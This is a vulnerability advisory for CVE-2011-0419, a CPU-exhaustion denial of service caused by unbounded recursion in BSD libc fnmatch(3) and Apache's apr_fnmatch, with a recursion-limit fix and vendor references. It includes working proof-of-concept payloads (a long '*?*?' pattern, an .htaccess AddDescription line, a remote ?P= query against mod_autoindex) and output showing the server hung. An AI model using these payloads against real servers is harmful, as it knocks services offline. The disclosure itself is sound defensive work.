Multiple Vendors libc/fnmatch(3) DoS (incl apache poc)

2011.05.13
Risk: Medium
Local: Yes
Remote: Yes
CWE: CWE-399


CVSS Base Score: 4.3/10
Impact Subscore: 2.9/10
Exploitability Subscore: 8.6/10
Exploit range: Remote
Attack complexity: Medium
Authentication: No required
Confidentiality impact: None
Integrity impact: None
Availability impact: Partial

[ Multiple Vendors libc/fnmatch(3) DoS (incl apache poc) ] Author: Maksymilian Arciemowicz http://netbsd.org/donations/ http://cxib.net/ Date: - Dis.: 29.01.2011 - Pub.: 13.05.2011 CVE: CVE-2011-0419 CWE: CWE-399 Affected Software (verified): - Apache 2.2.17 - NetBSD 5.1 - OpenBSD 4.8 - FreeBSD - MacOSX 10.6 - SunSolaris 10 --- 0.Description --- fnmatch -- match filename or pathname using shell glob rules SYNOPSIS #include <fnmatch.h> int fnmatch(const char *pattern, const char *string, int flags); --- 1. Multiple Vendors libc/fnmatch(3) DoS (incl apache poc) --- Attacker, what may modify first and second parameters(pattern,string) of fnmatch(3), may cause to CPU resource exhaustion. To see problem huge complexity, try compile code below: fnmatch("?*?*?*?*?*?*?*?*?*?*?*?*?*?*?*?*?*?*?*?*?*?*?*?*?*?*?*?*?*?*?*?*?*?*?*?*?*?*?*?*?*?*?*?*?*?*?*?*?*?*?*?*?*?*?*?*?*?*?*?*?*?*?*?*?*?*?*?*?*?*?*?*?*?*?*?*?*?*?*?*?*?*?*?*?*?*?*?*?*?*?*?*?*?*?*?*?*?*?*?*?*?*?*?*?*?*?*?*?*?*?*?*?*?*?*?*?*?*?*?*?*?*?*?*?*?*?*?*?*?*?*?*?*?*?*?*?*?*?*?*?*?*?*?*?*?*?*","xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx",0); fnmatch should return quickly answer, logically int. -fnmatch()/netbsd/fnmatch.c-- /* Collapse multiple stars. */ while (c == '*') c = FOLDCASE(*++pattern, flags); -fnmatch()/netbsd/fnmatch.c-- fnmatch() skip multiple stars here. It protect us before patterns like "********************...", but not before "*?*?*?*?*?*?*?*?*?*?*?...". Let's see what will happen if we use single star in pattern: -fnmatch()/netbsd/fnmatch.c-- case '*': c = FOLDCASE(*pattern, flags); /* Collapse multiple stars. */ while (c == '*') c = FOLDCASE(*++pattern, flags); if (*string == '.' && (flags & FNM_PERIOD) && (string == stringstart || ((flags & FNM_PATHNAME) && *(string - 1) == '/'))) return (FNM_NOMATCH); ... /* General case, use recursion. */ while ((test = FOLDCASE(*string, flags)) != EOS) { if (!fnmatch(pattern, string, <====================== RECURSION flags & ~FNM_PERIOD)) return (0); if (test == '/' && flags & FNM_PATHNAME) break; ++string; } return (FNM_NOMATCH); -fnmatch()/netbsd/fnmatch.c-- Recursion in this code: if (!fnmatch(pattern, string, <=== RECURSION WITHOUT LIMITS may cause to denial of service. Some recursion limit is missing here. Fix has been created together with NetBSD and should work on all BSD's implementations of fnmatch(3). To fix it, limit recursion_level to 64, because it guaranty quickly result. e.g. -fix--- ... static int fnmatchx(const char *pattern, const char *string, int flags, size_t recursion) <=== ADD ( size_t recursion ) { const char *stringstart; char c, test; _DIAGASSERT(pattern != NULL); _DIAGASSERT(string != NULL); if (recursion-- == 0) <=== DECREMENT recursion_level return FNM_NORES; ... int fnmatch(const char *pattern, const char *string, int flags) { return fnmatchx(pattern, string, flags, 64); <=== SET recursion_level HERE } ... -fix--- This fix limit max recursion level to 64. Any bigger value, may be unsafe. To demonstrate this flaws, i'm using apache with mod_autoindex because it's best vector here. There are two ways to denial of service, local and remote. IMPORTANT: fnmatch(const char *pattern, const char *string, int flags); strlen(string) should be smaller as strlen(pattern) let's start -apache.2.2.17;apr_fnmatch();srclib/apr/strings/apr_fnmatch.c--- ... /* Collapse multiple stars. */ while (c == '*') { c = *++pattern; } ... /* General case, use recursion. */ while ((test = *string) != EOS) { if (!apr_fnmatch(pattern, string, flags & ~APR_FNM_PERIOD)) { <=== RECURSION return (APR_SUCCESS); ... -apache.2.2.17;apr_fnmatch();srclib/apr/strings/apr_fnmatch.c--- This is BSD implementation of fnmatch(3). So the same issue exist in NetBSD, OpenBSD etc. Now we need find some code, where apr_fnmtach() is used. -apache.2.2.17;mod_autoindex.c--- ... /* * Make the comparison using the cheapest method; only do * wildcard checking if we must. */ if (tuple->wildcards) { found = (apr_fnmatch(tuple->pattern, filename, MATCH_FLAGS) == 0); <=== LOCAL DOS } ... if (pattern && (apr_fnmatch(pattern, dirent->name, <=== REMOTE DOS APR_FNM_NOESCAPE | APR_FNM_PERIOD #ifdef CASE_BLIND_FILESYSTEM | APR_FNM_CASE_BLIND #endif ) != APR_SUCCESS)) { return (NULL); } ... -apache.2.2.17;mod_autoindex.c--- As we can see, in mod_autoindex are two apr_fnmatch() cals. found = (apr_fnmatch(tuple->pattern, filename, MATCH_FLAGS) == 0); <=== LOCAL DOS and if (pattern && (apr_fnmatch(pattern, dirent->name, <=== REMOTE DOS To use the first, we need create some file with long filename e.g. "xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx" then create .htaccess with 'AddDescription' AddDescription "fnmatch DoS" *?*?*?*?*?*?*?*?*?*?*?*?*?*?*?*?*?*?*?*?*?*?*?*?*?*?*?*?*?*?*?*?*?*?*?*?*?*?*?*?*?*?*?*?*?*?*?*?*?*?*?*?*?*?*?*?*?*?*?*?*?*?*?*?*?*?*?*?*?*?*?*?*?*?*?*?*?*?*?*?*?*?*?*?*?*?*?*?*?*?*?*?*?*?*?*?*?*?*?*?*?*?*?*?*?*?*?*?*?*?*?*?*?*?*?*?*?*?*?*?*?*?*?*?*?*?*?*?*?*?*?*?*?*?*?*?*?*?*?*?*?*?*?*?*?*?*?*?*?*?*?*?*?*?*?*?*?*?*?*?*?*?*?*?*?*?*?*?*?*?*?*?*?*?*?*?*?*?*?*?*?*?*?*?*?*?*?*?*?*?*?*?*?*?*?*?*?*?*?*?*?*?*?*?*?*?*?*?*?*?*?*?*?*?*?*?*?*?*?*?*?*?*?*?*?*?*?*?*?*?*?*?*?*?*?*?*?*?*?*?*?*?*?*?*?*?*?*?*?*?*?*?*?*?*?*?*?*?*?*?*?*?*?*?*?*?*?*?*?*?*?*?*?*?*?*?*?*?*?*?*?*?*?*?*?*?*?*?*?*?*?*?*?*?*?*?*?*?* Result: www-data 1816 2.2 0.3 419048 9844 ? R 18:39 5:39 /usr/sbin/apache2 -k start The second possibility to remote denial of service, come when attacked servers contain directory with long filename. http://localhost/?P=*?*?...to.4096 where variable 'P', will be used in {{{apr_fnmatch(pattern, dirent->name,}}} as a pattern. If the filename is to short, of course we can set long pattern e.g. 4096 chars. http://localhost/?P=*?*?*?*?*?*....?*?*...to.4096 Apache 2.2.18 fix this problem. To local attack, use this script written in php and execute it in writable directory. http://cxib.net/stuff/apache.fnmatch.phps 127# httpd -v && uname -a Server version: Apache/2.2.17 (Unix) Server built: Dec 28 2010 13:21:44 NetBSD localhost 5.1 NetBSD 5.1 (GENERIC) #0: Sun Nov 7 14:39:56 UTC 2010 builds@b6.netbsd.org:/home/builds/ab/netbsd-5-1-RELEASE/i386/201011061943Z-obj/home/builds/ab/netbsd-5-1-RELEASE/src/sys/arch/i386/compile/GENERIC i386 127# ls -la total 8 drwxrwxrwx 2 root wheel 512 Feb 8 21:41 . drwxr-xr-x 7 www wheel 1024 Jan 31 08:49 .. -rw-r--r-- 1 www wheel 1056 Feb 8 19:39 .htaccess -rw-r--r-- 1 www wheel 0 Feb 8 19:39 cx............................................................................................................................. -rw-r--r-- 1 www wheel 1240 Feb 8 19:42 run.php 127# ps -aux -p 617 USER PID %CPU %MEM VSZ RSS TTY STAT STARTED TIME COMMAND www 617 98.6 0.4 10028 4004 ? R 7:38PM 121:43.17 /usr/pkg/sbin/httpd -k start Time = 121:43 and counting In result, we get: ... www 2044 0.0 0.4 10028 3932 ? R 9:49PM 0:20.23 /usr/pkg/sbin/httpd -k start www 2047 0.0 0.4 10028 3932 ? R 9:49PM 0:19.29 /usr/pkg/sbin/httpd -k start www 2051 0.0 0.4 10028 3924 ? R 9:50PM 0:19.86 /usr/pkg/sbin/httpd -k start www 2086 0.2 0.4 10028 3936 ? R 9:49PM 0:19.62 /usr/pkg/sbin/httpd -k start www 2088 0.0 0.4 10028 3936 ? R 9:49PM 0:19.76 /usr/pkg/sbin/httpd -k start www 2206 0.0 0.4 10028 3948 ? R 9:50PM 0:20.92 /usr/pkg/sbin/httpd -k start www 2225 0.0 0.4 10028 3944 ? R 9:50PM 0:20.63 /usr/pkg/sbin/httpd -k start www 2233 0.3 0.4 10028 3948 ? R 9:49PM 0:19.95 /usr/pkg/sbin/httpd -k start www 2278 0.0 0.4 10028 3924 ? R 9:50PM 0:18.63 /usr/pkg/sbin/httpd -k start www 2316 0.0 0.4 10028 3924 ? R 9:50PM 0:19.76 /usr/pkg/sbin/httpd -k start www 2317 0.0 0.4 10028 3924 ? R 9:50PM 0:19.85 /usr/pkg/sbin/httpd -k start ... cx@cx64:~$ telnet 172.11.12.129 80 Trying 172.11.12.129... telnet: Unable to connect to remote host: Connection timed out cx@cx64:~$ --- 2. Exploit --- http://cxib.net/stuff/apr_fnmatch.txt --- 3. Fix --- Fix has been created together with netbsd team and should fix this problem in all BSD's implementation of fnmatch(3). http://cvsweb.netbsd.org/bsdweb.cgi/src/lib/libc/gen/fnmatch.c http://www.openbsd.org/cgi-bin/cvsweb/src/lib/libc/gen/fnmatch.c?annotate=1.15 http://netbsd.org/donations/ --- 4. References --- https://rhn.redhat.com/errata/RHSA-2011-0507.html http://httpd.apache.org/security/vulnerabilities_22.html http://www.apache.org/dist/apr/CHANGES-APR-1.4 http://cwe.mitre.org/data/definitions/399.html A similar vulnerability based on CWE-399 http://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2011-0762 --- 5. Greets --- Christos Zoulas --- 6. Contact --- Author: Maksymilian Arciemowicz

References:

http://cxsecurity.com/issue/WLB-2011050148
http://cvsweb.netbsd.org/bsdweb.cgi/src/lib/libc/gen/fnmatch.c
http://www.openbsd.org/cgi-bin/cvsweb/src/lib/libc/gen/fnmatch.c?annotate=1.15
http://netbsd.org/donations/
https://rhn.redhat.com/errata/RHSA-2011-0507.html
http://httpd.apache.org/security/vulnerabilities_22.html
http://www.apache.org/dist/apr/CHANGES-APR-1.4
http://cwe.mitre.org/data/definitions/399.html
http://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2011-0762


Vote for this issue:
50%
50%


 

Thanks for you vote!


 

Thanks for you comment!
Your message is in quarantine 48 hours.

Comment it here.


(*) - required fields.  
{{ x.nick }} | Date: {{ x.ux * 1000 | date:'yyyy-MM-dd' }} {{ x.ux * 1000 | date:'HH:mm' }} CET+1
{{ x.comment }}

Copyright 2017, cxsecurity.com

 

Back to Top